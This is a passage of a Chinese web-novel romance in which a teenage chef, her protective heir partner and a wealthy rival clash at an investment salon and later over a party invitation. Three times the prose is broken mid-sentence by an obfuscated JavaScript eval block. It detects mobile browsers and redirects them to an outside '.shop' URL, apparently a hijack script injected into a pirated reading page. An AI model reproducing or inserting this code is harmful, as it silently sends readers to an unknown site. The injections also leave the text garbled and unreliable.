“这段切到零点八秒。” 声音从她头顶落下来,带着一点低哑和一丝熟悉的冷调香气。 “视频节奏靠前五帧,慢了观众就划走了。” 宋如淼手一抖,触控笔在屏幕上划出一道难看的长线。 她猛地回头。 谢晚酌站在她侧后方,距离近得有些过分。 外面是三十五度的高温,他却清爽得像块冰。穿了一件高支数的白色衬衫,领口松开了两颗扣子,袖口随意挽到手肘,露出一截劲瘦冷白的小臂。 还有那根带着如意扣的红绳,正服帖地系在他的腕骨上,随着他的动作轻轻晃动。 “你怎么来了?”宋如淼下意识往旁边让了让,椅子在地板上磨出一声刺耳的响。 “明天沙龙,提前跟你对流程。”谢晚酌神色坦荡,似乎那一晚的暧昧从未发生过。他拉过旁边的椅子坐下,“另外,看你这一脸要碎掉的样子,大概也剪不出什么好东西。” “……你会说话就多说点。不会说就闭嘴。”宋如淼白了他一眼。 谢晚酌自然地从她手里接过触控笔。 他俯身,左手撑在她椅背上,右手在屏幕上操作——这个姿势,把她整个人圈进一个极小的半圆里。 “你看。”他声音压低,热气似有若无地扫过她的耳廓,“上一期视频的数据峰值在这里,是你把肉片对准阳光的那一秒。观众要看的不是教科书,是——” 他侧过头,目光落在她脸上,停顿了一秒。 “是那种,想让人吃一口的欲望。” 宋如淼屏住呼吸,脑子里一片浆糊,只能硬着头皮“嗯”了一声。 吃什么?欲望? 谢晚酌似乎没察觉她的僵硬,修长的手指在屏幕上灵活滑动,几下就把节奏调顺了。 做完这些,他直起身,顺手从公文包里抽出一份文件夹放在她手边。 “谢氏新签了两个食材基地。” 他翻开扉页,上面是一串极详尽的参数:云南香格里拉的松茸、浙江临安的冬笋。 “松茸是特级品,下周空运到店。冬笋可以做季度限定的腌笃鲜。”他指尖点了点备注栏,“这都是你的强项。” 宋如淼低头看着那些字迹。 依然是谢晚酌风格的批注: 【如酌云锦里店:松茸预留最大份额】 【研发部:新品需宋主厨确认签字】 她合上文件夹,指腹压着冰凉的封皮:“谢晚酌。” “嗯?” “你这几天不是很忙吗?还要管这些鸡毛蒜皮的小事?” 谢晚酌正在翻看她桌角的《随园食单》,闻言漫不经心地翻了一页:“顺手。” …… 周四晚上九点,【宋大厨营业中】更新了。 标题很朴素:【家庭版·金缕豚肩·保姆级教程】。 画面第一帧,是宋如淼坐在案板前,围裙系得规整,刘海被发夹别到一侧,露出光洁的额头。 “很多人留言说,这道菜看着太专业,家里做不了。”她对着镜头,语气认真,“今天我把刀工拆成三步,你们跟着练,一周就能上手。” 最后三十秒,她把成菜端到光下。 肉片金黄透亮,芡汁均匀挂壁,山药块焖得酥烂,香菇吸饱汤汁,在镜头前微微颤着。 “好吃的东西,不一定要在餐厅吃。”她说完这句,停了停,嘴角弯起一个很浅的弧度,“在家里,做给重要的人吃,更好。” 视频发出去两小时,点赞破十万。 评论区第一条被顶到最上: 【学会了!周末给老婆做!之前在这儿学的那道蛋黄焗鸡翅,我老婆吃完眼睛都红了,说想起结婚那年我们在出租屋吃的那顿饭。】 宋如淼刷到这条时,正在厨房试新汤底。 她把手机支在调料架边上,盯着“出租屋”、“结婚”那几个字看了很久。锅里的汤咕嘟咕嘟冒着泡,热气熏得眼睛有点发酸。 屏幕里的烟火气是暖的,可关上手机,她依然要独自面对明天那场并不属于她的名利场。 她低下头,把火调小了一点,也把心里那点不切实际的念头压了下去。 周五傍晚,云城艺术中心。 谢氏集团的年度投资沙龙选在了三楼的江景厅。落地窗外,黄浦江被夕阳染成流动的金。 宋如淼站在落地窗边,第无数次后悔没听谢晚酌的话。 她为了显得正式一点,穿了一双五厘米的高跟鞋。出门时觉得自己气场两米八,现在只想把这双该死的鞋扔进江里喂鱼。 脚后跟已经磨出一道红印。她面上端着得体的微笑,脚趾在鞋里悄悄蜷缩,每一秒都是煎熬。 “宋小姐?”一位穿着高定套装的贵妇人走过来,目光挑剔又带着几分好奇,“听说你是谢氏新品牌的主理人?这么年轻?” 宋如淼迅速调整表情,露出标准的职业微笑:“您好,我是宋如淼。主理人谈不上,我主要负责研发新中式食养——” “听说你们下季度要推出药膳系列?”对方没等她说完就打断,“我母亲肠胃不好,外头的东西她总说吃了胀气。” 宋如淼耐心地接话:“是的,我们和中医药大学的食养研究室有合作,首期主打四神汤底的改良版。您可以关注下我们的官微。” 对方扫了码,视线落在她稚气未脱的脸上看了看,才转身离开。 应酬了一圈,等人走远,宋如淼立刻把重心换到左脚,悄悄把右脚从鞋跟里拔出来透气。 嘶—— 钻心的疼。 “很疼?” 一道清冷的声音从头顶传来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178303|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋如淼吓了一跳,脚一崴,差点摔倒。 一只有力的手稳稳托住了她的手肘。 谢晚酌不知什么时候站在了她身后。他今天穿了一套深灰色的戗驳领西装,剪裁极其锋利,衬得整个人更加挺拔疏离。唯独看向她时,眉头微微皱着。 “没、没有。”宋如淼嘴硬,“新鞋,磨合期。” 谢晚酌没说话,视线在她发红的脚后跟上停了两秒。 他松开手,招来一名侍者,低声吩咐了几句。 没过一会,侍者捧着一只浅粉色的纸袋回来了。 “去休息室换上。”谢晚酌把袋子递给她。 宋如淼打开一看,里面是一双Ferragamo的平底芭蕾鞋,经典的蝴蝶结款,羊皮软得像云。 而且,是她的尺码。36码。 宋如淼愣住:“你……” “女士休息室我不方便进去。”谢晚酌声音很淡,“你自己去换。我在这等你。” 她抱着纸袋走开两步,又忍不住回头:“你怎么知道我穿多大码?” “快去。”谢晚酌打断她,挡住了周围探究的视线,“我就在这等你。” 宋如淼抱着鞋去了休息室。 当脚踩进柔软的羊皮底时,她舒服得差点叹出声来。 她看着镜子里的自己,脸颊微红,眼底的光亮得有些藏不住。 谢晚酌,真的很细心。细心到让她觉得,自己是被捧在手心里的。 换好鞋出来,她刚走回大厅,就看见人群中央起了一阵骚动。 “那是周家大小姐吧?回来了?” “什么时候到的?” “听说刚拿到巴黎费朗迪学院(Ferrandi Paris)的offer,那可是餐饮界的哈佛啊……” 宋如淼脚步一顿。 大厅入口处,一个年轻女孩正挽着谢父的手臂走进来。 她看起来和宋如淼差不多大,穿了一条法式复古的方领绸缎长裙,锁骨精致,长卷发慵懒地披在肩侧。 那种自信和松弛感,不是装出来的,是钱堆出来的底气。 谢父平日里威严冷肃,此刻对着那个女孩却笑得和蔼:“意欢啊,这次回来就多待一阵子,晚酌也在念叨你。” 宋如淼心口像是被针扎了一下。 意欢。周意欢。 女孩视线在场内转了一圈,精准地锁定了站在落地窗边的谢晚酌。 她眼睛一亮,提着裙摆快步走来。 “晚酌哥哥!” 声音清脆,尾音微微上扬,带着点娇嗔。 谢晚酌放下手里的酒杯,微微颔首,礼貌却并不疏远:“意欢,好久不见。” 周意欢仰起脸,笑意盈盈:“好久不见?明明是你好久不理我。” 她抬手,极自然地搭上他的小臂,像早就习惯了这个位置。 “我发的消息你都不回,我还以为你不用微信了呢。” 谢晚酌语气平淡:“不太看社交软件。” “借口。”周意欢弯起眼,毫不见外地拍了他一下。 然后,她踮起脚尖,非常自然地凑过去。 在他的脸颊侧面,行了一个标准的法式贴面礼。 啵。 很轻的一声。 周围的人都发出了善意的哄笑,仿佛这是一幅再和谐不过的画卷: 一个是餐饮酒店行业的继承人,一个是旅游业的豪门千金。 天作之合。 宋如淼站在几米开外,脚上那双价值不菲的芭蕾鞋,忽然变得有些硌脚。 她下意识地摸了摸口袋里的手机,那里存着她刚刚剪好的视频——《家庭版金缕豚肩》。 屏幕上的第一句话是:在家里,做给重要的人吃。 这一刻,她忽然不知道“重要”该怎么定义。 谢晚酌似乎察觉到了什么,越过周意欢的肩膀,目光穿过人群,准确地落在了宋如淼身上。 四目相对。 他的眼神动了动,刚要迈步。 周意欢却顺着他的视线转过头来,看见了宋如淼。她眨了眨眼,笑容依旧甜美,语气却像不经意: “晚酌哥哥,这就是你总跟晚驰哥哥提起过的那个……做菜很厉害的小厨娘吗?” 【渊境积蓄进度:65% (修罗场触发)】 22.你还不配。 “小、厨、娘。” 这三个字轻飘飘落下来,像糖衣上带着刺。 周意欢穿着那身量身定做的长裙,站在谢晚酌身侧。她笑得一脸天真无邪,仿佛这真的只是一个充满善意的可爱昵称,而不是某种带着阶级俯视的精准定位。 宋如淼面上的笑意没变,甚至还很礼貌地点了点头——像没听懂,也像懒得听懂。 但在周意欢的语境里,厨娘,就是那个在该做饭时出现、做完饭就该从主人家的客厅退下的角色。不管你的菜做得多好,在这个金字塔尖的圈子里,你依然是提供服务的“下位者”。 宋如淼随手端起一杯果汁,抿了两口,以此掩饰指尖的微颤。 周意欢却显然不打算就此收手。她侧身靠近谢晚酌一点,像自然而然地占了那个位置,语气软软的、无辜得恰到好处: “晚酌哥哥,是不是她?我在巴黎就刷到过她的视频,评论区都夸她切肉的手法……真是天生就是做厨子的料。很难得见到这么会做饭的女孩子呢。” 她刻意避开了“主厨”、“研发师”这种专业的词汇,把一切归结为一句“厨子”。 就像在夸家里的阿姨很会煲汤一样。 宋如淼握着杯脚的手指骤然收紧。 她心里那点不舒服,不是因为被叫“做饭的”,而是因为——她明明站在这里是为了谈项目,是为了让“如酌”的药膳线顺利落地,是为了让供给、品控、渠道都能跑通;周意欢却偏要把她按回“给人端盘子”的格子里。 脚后跟那块被新鞋磨破的皮,此刻正钻心地疼,像是有细细密密的针在扎。但这点疼,比不上心里的堵。 她还没来得及开口,身侧的气场先一步冷了下来。 谢晚酌抬眼,视线落在周意欢挽着他的手臂上——他像整理袖口一样,不动声色地把对方的胳膊往下压了压,顺势抽出手臂。 动作不重,却拒绝得干脆。 紧接着,他连一个多余的眼神都没再给旁人,径直朝宋如淼走来。 原本围在他身边的几个投资人愣了一下,下意识地让开了一条路。 “好点没?” 谢晚酌站在宋如淼面前,视线先落在她脸上,随即很自然地往下,扫了一眼她的脚。 宋如淼眨了眨眼,下意识把脚往后藏了藏:“没、没多大事,就是——” “你的事没小事。” 他说得很快,也很淡,像一句不经思考的本能。 宋如淼还没反应过来,谢晚酌已经在众目睽睽之下,单膝蹲了下来。 那一刻,原本嘈杂的交谈声像被按了暂停键,瞬间安静了一大半。几乎所有人都看了过来—— 那是谢晚酌。 是谢氏集团众星捧月的继承人,是云城这一代最骄傲的少年。 此刻,他却毫无顾忌地蹲在一个穿着普通礼服的女孩面前,伸手托住了她的脚踝。 “谢晚酌!你疯了?”宋如淼脸“腾”地一下红透,急得声音都压不住,“这里这么多人看着呢,你快起来!” “别动。”他的手掌干燥温热,力道不重,却不容她躲开。 他低下头,目光落在她脚后跟那处被磨破的红痕上。皮已经蹭开,隐隐有细细的血丝渗出来,在她白皙的皮肤上格外刺眼。 谢晚酌眉头皱得更紧,声音压低,像骂人又像心疼: “宋如淼,你是傻子吗?疼不知道说?都这样了还非要逞强站着?” 宋如淼想怼回去,嘴唇动了动,却没发出声。 因为他下一秒,从西装内袋里摸出一枚创可贴。 那不是常见的透明款或商务风。 而是一枚色彩鲜艳的、印着卡通图案的创可贴。上面画着一只拿着锅铲的小橘猫,正在神气活现地炒菜。 这是宋如淼平时贴在她的宝贝刀具箱上的同款贴纸。 宋如淼愣住了,连挣扎都忘了:“你……你哪来的这个?” “就怕你不听话。”谢晚酌没抬头,语气硬邦邦的,“昨晚带的。” 他撕开包装,指尖小心翼翼避开磨破皮的地方,把创可贴仔仔细细贴上去。 他贴得很认真。微微低着头,黑色的碎发垂在额前,遮住了眉眼间的锋利。睫毛在灯下投出一点很轻的阴影。那副认真劲儿,像他此刻握着的不是一只脚踝,而是一件易碎、必须保护好的瓷器。 “好了。” 他又用指腹轻轻按了按边缘,确定服帖了,才站起身,理了理有些褶皱的袖口。 整个动作干净利落,甚至没有多看周围一眼。仿佛他们不是在名利场,而是在家里的客厅。 可周围的人已经看得发愣。 有人咳了一声,有人把话咽回去,有人悄悄交换眼神:谢家这位小少爷——这是把人护到什么程度? 宋如淼站在他身后,脚后跟那点疼被隔开了,可脸颊的热度更收不住。 周意欢站在几米开外,看着那个对谁都疏离客气、连笑意都不达眼底的谢晚酌,居然大庭广众之下,为一个“厨娘”弯腰、碰她的脚。 她深吸一口气,努力维持着世家小姐最后的体面,笑着走近两步: “晚酌哥哥对员工真是体贴入微啊,难怪谢氏的凝聚力这么强。” 她特意咬重了“员工”两个字,然后目光扫向宋如淼,眼底带着一丝挑衅: “既然是谢家的厨师,那正好。下周三我的回国欢迎宴,想请你来做饭。我有些法国回来的朋友对中餐很感兴趣,总是找不到正宗的。” 她顿了顿,扬起下巴:“我可以按米其林三星主厨的标准付你酬劳,三倍。怎么样?” 她这是在告诉所有人:你看,就算他给你贴创可贴又怎样?你依然是个可以用钱买来的厨子。 宋如淼的手指紧了紧。 她不以做菜为耻,她是未来的厨神,她的手艺是用来给人带来幸福的,不是给人当下人的,更不是用来给这些所谓的名媛当消遣的。 胸口涌上一股热气,她刚要开口怼回去,身前忽然落下一片阴影。 谢晚酌往前迈了一步。 少年的身形挺拔宽阔,把她挡得严严实实,隔绝了周意欢那令人不适的视线。 他看着周意欢,那双眼睛里最后一丝温度也褪干净了,只剩下属于谢家人的冷硬与傲气。 “周意欢。” 他连名带姓地叫她,语气冷淡得像在跟陌生人说话,没有留一丝情面。 “第一,她叫宋如淼。她是谢氏‘如酌’品牌的联合创始人,也是我父亲当众聘请的谢氏餐饮首席顾问。” 谢晚酌的声音不大,却字字清晰,掷地有声,“不是你口中那个可以随意使唤的‘员工’。” “第二,”谢晚酌微微抬起下巴,那是属于十八岁少年的轻狂与护短,带着不容置疑的霸道,“除了在‘如酌’的后厨研发新菜,她的手艺,只做给我一个人吃。” 他冷笑一声,目光如刀:“第三,你想请她去做饭?抱歉。淼淼不缺你那点钱,你请不起,更请不动。” 周围一片死寂。 连刚才还在低声议论的人都闭了嘴。 有人把酒杯放下,有人装作去看窗外江景。 谁也没想到,谢家少爷为了护这个女孩,连周谢两家几十年的世交面子皮都不要了,撕得这么干脆。 周意欢的脸白一阵红一阵,笑容彻底僵住了:“晚酌哥哥,你也太认真了。我也只是……开个玩笑,一个称呼而已——” 谢晚酌抬眼,眸色淡得像压了一层冰,截断了她的话。 “给她称呼?” 他盯着周意欢,缓缓吐出几个字: “你还不配。” 一句话,不见血,却让人瞬间哑口。 周意欢嘴唇微动,最终什么也没说出来。她强撑着体面,笑容还在,眼底却冷得发亮。 谢晚酌根本没再看她一眼,转身伸手拉起宋如淼的手腕。 不是牵手,是隔着布料握住手腕——克制、强势。 “走了。” 他侧过头,对她说话时,那种冷硬的气场瞬间散去,语气软得不像话。 “回家。” …… 直到坐进谢家那辆黑色迈巴赫的后座,车门关上,隔绝了外面的喧嚣和那些复杂的目光,宋如淼才觉得自己活过来了。 她靠在真皮座椅上,长长地出了一口气。 车厢里冷气开得很足,她下意识缩了缩裸露在外的肩膀。 下一秒,一件带着余温的西装外套兜头罩了下来,把她裹了个严实。 谢晚酌只穿着白衬衫,领口松开了两颗扣子,露出精致的锁骨和冷白色的皮肤。他侧过头,有些不自在地咳了一声,眼神飘向窗外: “盖着。别冻感冒了,明天你不是还要早起练刀工吗?” “你还管我练刀工?”宋如淼抓着他的外套,鼻尖全是他身上干净的味道,闷闷地问,“谢晚酌,你刚才干嘛那么凶?她好歹是你世交家的——妹妹。” “什么妹妹?”谢晚酌皱眉,一脸嫌弃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184068|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我就一个哥。乱攀什么亲戚。” 宋如淼忍不住“扑哧”一声笑了出来。 “你这张嘴啊……” 车子平稳地行驶在云城的夜色里,路灯的光影在车窗上一帧帧划过。 安静了一会儿,宋如淼从外套里探出头,想起了正事。她晃了晃手机: “对了,说正事。刚才那个刘总加了我微信,就是做生物科技的那个。他说想约个时间谈他们园区几千人的午餐供应,还要涵盖高管的商务餐。这个单子体量很大,你怎么看?” 谈起工作,她眼里的稚气褪去,取而代之的是一种专业的认真。这才是她最吸引人的样子——不是躲在谁身后的小鸟,而是渴望翱翔的鹰。 谢晚酌转过头,看着她亮晶晶的眼睛。 他没有立刻回答,而是思考了几秒,才缓缓开口,语气也切换到了工作模式: “刘总那边的需求,我已经让运营部去对接初筛了。我的建议是——暂时不接。” “为什么?”宋如淼一愣,“这可是打开B端市场的好机会。” “你的精力是有限的。”谢晚酌一针见血,“下个月你要把控松茸季的新菜单,还要配合中医药大学做药膳改良。如果你接了这个批量单,势必要分心去管供应链和品控。为了单子把‘如酌’刚立起来的精品口碑砸了,不划算。” 他说“口碑”两个字时,目光沉静地落在她脸上,像是在告诉她:你想做的事,我比谁都清楚;你要走的路,我会帮你扫清障碍。 “供应链扩张要做得稳,别急。”他补了一句。 宋如淼愣了一下,随即释然地点点头。 是啊,他总是比她想得更远一点。 “我也这么想过,就是有点舍不得那个流水。”她叹了口气,“那我按你的意思回绝,先专注做第一批药膳系列的小范围内测,数据出来再决定扩不扩。” 谢晚酌“嗯”了一声。 车厢里陷入了短暂的沉默,只有轮胎碾过路面的沙沙声。 光影明明灭灭地打在谢晚酌脸上,照出少年眼底的一抹执拗。 他忽然开口叫她的全名: “宋如淼。” “嗯?”宋如淼正在低头回消息,闻言抬起头。 “你是要当厨神的人。” 谢晚酌转过身,背靠着车门,极其认真地看着她。那种眼神,比刚才在宴会上还要专注。 “既然选择了这条路,以后这种场合多得是。有人看不起你,有人想踩你,有人觉得做饭就是伺候人……这都很正常。这个世界就是带着有色眼镜的。” 他顿了顿,声音低了几分,带着一种青春特有的、笨拙却滚烫的承诺,每一个字都像是从心口掏出来的: “但我带你去,不是让你去受气的。我是要让所有人知道——” 他看着她的眼睛,一字一顿: “只要我在,就没人能说你一句。哪怕你现在的身份只是厨师,也是云城最尊贵的厨师。谁要是敢看低你一眼,那就是看低我谢晚酌。” 宋如淼的心脏猛地漏跳了一拍。 那种感觉,比刚才他下跪时还要强烈。 十六岁的少女,看着眼前十八岁的少年。 并没有什么成年人世界里的利益交换,也没有什么权衡利弊。 只有这一点纯粹的、毫无杂质的偏爱。 他在告诉她:你的梦想很高贵,而在我这里,你最高贵。 眼眶忽然有点热,宋如淼把脸重新埋进他的外套里,声音闷闷的,带着点鼻音: “哦。知道了。” 她顿了顿,小声嘟囔:“其实没人能欺负我,你不说我也要怼回去的。” “我知道。” 谢晚酌轻嗤一声,重新靠回椅背,恢复了那副懒散又拽上天的少爷模样,仿佛刚才那个深情款款的人不是他。 “你那张嘴,也不比我差多少。” 他伸手,隔着外套,在她毛茸茸的脑袋上不轻不重地揉了一把,掌心温热。 “行了,以后你在外面尽管横着走。天塌下来有我顶着,你要是受一点委屈——” 他挑了挑眉,“那就是我这个合伙人当得不称职。” 宋如淼抬起头,从外套领口露出一双弯成月牙的眼睛,看着他笑。 那一年,云城的夏天很热。 蝉鸣很吵,晚风很燥。 但宋如淼觉得,这个有小猫创可贴、有雪松味外套的夜晚,大概是她十六岁人生里,最凉爽、最安心的一个晚上。 23.周三鸿门宴 周六,清晨六点。 云锦里的梧桐叶上还挂着露珠。 宋如淼已经站在“如酌”后厨的案板前。那把青纸钢刀握在掌心,刀刃贴着五花肉的纹理游走,薄如蝉翼的肉片依次铺开,透光可见细密的粉红纹路。 昨晚沙龙上的事,被她这一刀刀剁得稀碎。刀起刀落,脑子安静多了。 “淼淼,今天怎么来这么早?”李芬推门进来,手里拎着刚从早市抢回来的鲜笋,“昨晚没睡好?眼底下有点青。” “睡了。”宋如淼头也不抬,“就是梦到切肉,切了一晚上。” 李芬乐了:“你这孩子,做梦都在练功,你说你不当大厨,谁行?” 宋如淼嘴角弯了弯,没接话。 她没说的是,梦里不光切肉练习,还有一个人。 那个人蹲在她面前,托着她的脚踝,指尖的温度透过梦境的薄雾,一直烫到心口。 “啪。” 她把刀往案板上一拍,深吸一口气。 清醒点,宋如淼。你今天要试三款药膳汤底,要拍新视频,要—— “叮铃——” 店门口的风铃响了。 这么早?宋如淼擦了擦手,从后厨绕出来。 推门的女人穿着一件雾霾蓝连衣裙,拎着一只爱马仕手包,踩着小高跟走了进来。 周意欢。 宋如淼脚步一顿。 周意欢也在打量她。视线从宋如淼沾着面粉的围裙,扫到那双沾了水渍的帆布鞋,最后落在那张素净的脸上。她嘴角弯起一个恰到好处的弧度,既不显得太热情,也不显得太疏离。 “宋厨师,早啊。”鞋跟敲在瓷砖上,发出清脆的声响,“没打扰你做饭吧?” “周小姐。”宋如淼不卑不亢地点了点头,“吃点什么?” 周意欢指尖压着菜单边角,像怕沾上油,眼神松松地从菜单上扫过,而后笑笑:“我最近控糖。” “哦。”宋如淼转身往后厨走,“那你随意看看,我锅里还炖着汤。” “等等。” 周意欢叫住她,从包里抽出一张烫金请柬,放在柜台上。 “我是来送这个的。” 宋如淼看了一眼,没动。 周意欢把请柬往前推了推:“下周三我还是想请你来。不是让你做饭,是请你——以客人的身份。” 她咬重了“客人”两个字,脸上的笑意滴水不漏:“昨晚是我说话不周,你毕竟是谢家的顾问,你也知道我和晚酌哥哥两家是世交,可能以后......总之,我不能这么怠慢。所以我今天亲自来道歉,顺便邀请你。” 宋如淼看着那张请柬,没接。 周意欢叹了口气,语气软了几分,带着点委屈:“我是真心来道歉的。你要是不收,晚酌哥哥还以为我没诚意邀请你呢,你也不会这么小气吧?” 她顿了顿,抬眼看宋如淼:“而且,我还有一些法国同学,对中餐很感兴趣。他们也刷到过你的视频,你就当——给我那些同学想见识见识真正的中餐?” 宋如淼静静看着她。 这话说得漂亮。道歉是真的,邀请是真的,甚至连那份委屈都演得恰到好处。 可宋如淼在那双眼睛里,看到的不是歉意,是挑衅。 如果她收了请柬、去了宴会还不知道等着她的是什么;如果她不收、不去,那就是不识抬举、小家子气。 怎么选,都两难。 宋如淼忽然笑了。她伸手,拿起那张请柬,翻开看了一眼,又合上,随手放回柜台。 “周小姐,请柬我收下了。”她抬起头,琥珀色的眼睛干净得像一汪水,“看那天有没有时间吧,去不去也不好说。” 周意欢挑眉:“既然收了,那我就当你答应了。” 宋如淼顿了顿,嘴角弯起一个极浅的弧度:“你邀请我是真的为了弘扬中国美食,还是因为,你看谢晚酌护着我,心里不痛快,所以想在我身上找点优越感回来?” 周意欢依旧保持笑容。 宋如淼没给她反应的时间,继续说下去:“周小姐,你们既然是世交,又何必在乎他怎么对我?是你的别人抢不走。” 周意欢深吸一口气,声音冷了下来:“你想多了。只是希望你去介绍下中国美食而已——” 宋如淼打断她,“好。周小姐还有别的事吗?我还得去盯汤。” 周意欢站在原地,看着她。围裙上还有面粉点,可背脊笔直,像案板就是她的领地。 周意欢重新挂上笑容,拎起包,走到门口,回头看了她一眼。 “周三不见不散。” 她推门出去,风铃叮铃响了一声。 宋如淼站在原地,看着那扇门合上,长长地吐出一口气。 “淼淼!” 李芬从后厨探出头,一脸紧张:“那谁啊?来干嘛的?没欺负你吧?” “没有。”宋如淼转身往回走,拿起那张请柬看了一眼,随手塞进围裙口袋里,“来送请柬的。” “请柬?什么请柬?” “鸿门宴的请柬。” 宋如淼回到案板前,重新拿起那把刀。刀刃贴上肉的那一刻,她忽然想起昨晚谢晚酌说的话—— “以后你在外面尽管横着走。天塌下来有我顶着。” 你顶什么顶——天塌也压不垮我,先把汤盯好。 周意欢想看她怎么输,怎么难看,可她偏要赢,而且,要赢得漂漂亮亮。 下午四点,谢晚酌推门进来时,宋如淼正趴在二楼包间的桌上补觉。 她枕着本《山家清供》,脸颊压出一道红印,睫毛在午后的光线里投下一小片阴影。围裙还没解,上面沾着几点油渍和面粉。 谢晚酌站在门口看了一会儿,放轻脚步走进去。他把手里拎着的桂花蜜茶放在桌上,视线扫过她压在手肘下的那张烫金请柬。 他伸手,想把她脸颊边的碎发拨开。指尖刚触到她的发丝,宋如淼就醒了。 她抬头,对上谢晚酌的视线,愣了一秒,然后揉了揉眼睛:“你怎么来了?” 谢晚酌在她对面坐下,目光落在那张请柬上,“周意欢来过了?” “嗯。”宋如淼打了个哈欠,把请柬推给他看,“来送这个的。说是道歉,顺便请我去她的欢迎宴。” 谢晚酌扫了一眼请柬,眉头微微皱起:“你收了?” “收了。”宋如淼托着腮,眼睛亮晶晶地看着他,“干嘛不收?人家亲自送上门来的,不要白不要。” 谢晚酌盯着她,似乎在判断她是真不在意还是装的。 “她说什么了?” “说了很多。”宋如淼掰着手指头数,“先道歉,再邀请,最后——”她顿了顿,笑得像只偷腥的猫,“最后我怼了她一顿。” 谢晚酌挑眉:“就这样?” “是,还强调你们是世家,未来还可能是亲家!”谢晚酌听完,沉默了两秒,然后,他笑了,从眼底漾出来的发自心底的笑。 “宋如淼,”他看着她,眼底有光,“你不开心了?” “那当然。”宋如淼撇撇嘴,“我怎么会开心,她就是要让我出丑的,我怎么会如了她的愿。” 谢晚酌摇摇头,目光落回那张请柬上:“就是因为这个不开心?你想去就没点别的?” “有什么?”宋如淼把请柬拿起来,“人家都亲自上门请了,不去好像我怕她?” 她抬眼看谢晚酌:“而且,你不是说了吗——以后我在外面尽管横着走,天塌下来有你顶着。” 谢晚酌看着她,忽然伸手,在她脑袋上揉了一把。 “行。”他说,“那就去。” 他顿了顿,补了一句:“你只管横行霸道,我就在你身后。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187102|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋如淼愣了一下:“你?你不是说那天有事吗?” “推了。”谢晚酌往后一靠,语气淡淡的,“给你撑腰比较重要。” 宋如淼看着他,想说点什么,又不知道该说什么,最后只憋出一句:“那、那到时候你别给我丢人啊。” 谢晚酌轻嗤一声:“我什么时候给你丢过人?” “那倒没有,为了感谢你,给你尝尝改良过的四神汤。”宋如淼双手环抱,故作深沉地俯视谢晚酌,只不过没坚持几秒钟就跑下楼端汤去了。 宋如淼端着新熬的样品上楼时,谢晚酌还坐在老位置,手里翻着那本她枕过的《山家清供》。 “尝尝。”她把小碗推过去,“方爷爷说能过审了。” 谢晚酌放下书,接过碗,抿了一口。 他沉默了几秒,又喝了一口,才放下碗,点了点头:“不错。比上次的好喝。” “就这?”宋如淼盯着他,“没别的评价?” “你想要什么评价?”谢晚酌抬眼,嘴角微微上扬,“宋主厨亲自熬的汤,岂是我这种凡夫俗子能随便点评的?” 宋如淼被他逗笑了,伸手去够那碗汤,指尖刚碰到碗沿,谢晚酌的手忽然伸过来,轻轻握住了她的手腕。 “别动。”他说。 宋如淼一愣,心跳漏了一拍。 谢晚酌的拇指在她手腕内侧轻轻摩挲了一下,像是在确认什么,然后松开,指了指她手背上沾着的一点面粉。 “这儿,有面粉。” “哦......”宋如淼耳根发烫,随手蹭了蹭,小声嘟囔,“吓我一跳......” 就在这时——【渊境积蓄进度:65% → 66.5%】 宋如淼浑身一震。 1.5%?! 她猛地抬头,目光落在谢晚酌手边那碗四神汤上——那是她下午给他熬的,清热去火,他每次来都喝。 一口汤,涨了1.5%? 不对,之前也喝过,怎么没涨? 宋如淼脑子里飞快地转着。她想起刚才谢晚酌握住她手腕的那一下,想起那种从皮肤贴合的瞬间涌起的温热触感...... 难道——是肢体接触? 好像确实是……宋如淼想起谢晚酌十八岁生日那晚,他碰了下她的额头,渊境积蓄直接涨了5%,当时她只以为是自己用心做菜才得到的,难道还有别的机制? 她没忍住,一把捧住谢晚酌的手,眼巴巴地盯着他,在心里默默倒数。 三、二、一—— 【渊境积蓄进度:66.5%】 【缺乏必要条件,渊境积蓄失败...】 没了。 宋如淼愣住了。 看来她猜对了一半:肢体接触确实能触发什么,但光这样不够,还得有别的条件。 “......淼淼?” 谢晚酌的声音从头顶传来,带着一丝不易察觉的紧绷。 宋如淼回过神,发现自己还捧着他的手没放。他的手掌干燥温热,骨节分明,被她攥在手心里,一动不动。 她猛地松开,脸腾地红了。 “我、我就是......”她脑子飞速运转,憋出一个理由,“我就是想看看你今天手凉不凉!天冷了,要多穿点!” 谢晚酌看着她,耳后飞快地烧起一片红。 他把手收回去,垂着眼,声音低了几分:“......现在是夏天。” 空气安静了几秒。 宋如淼咳了一声,强行转移话题:“那什么......药膳汤的事,我明天去中医药大学送审,你要不要一起?” 谢晚酌抬眼,看着她,眼底那点不自在慢慢化开,变成一种很淡很淡的笑意。 “好。” 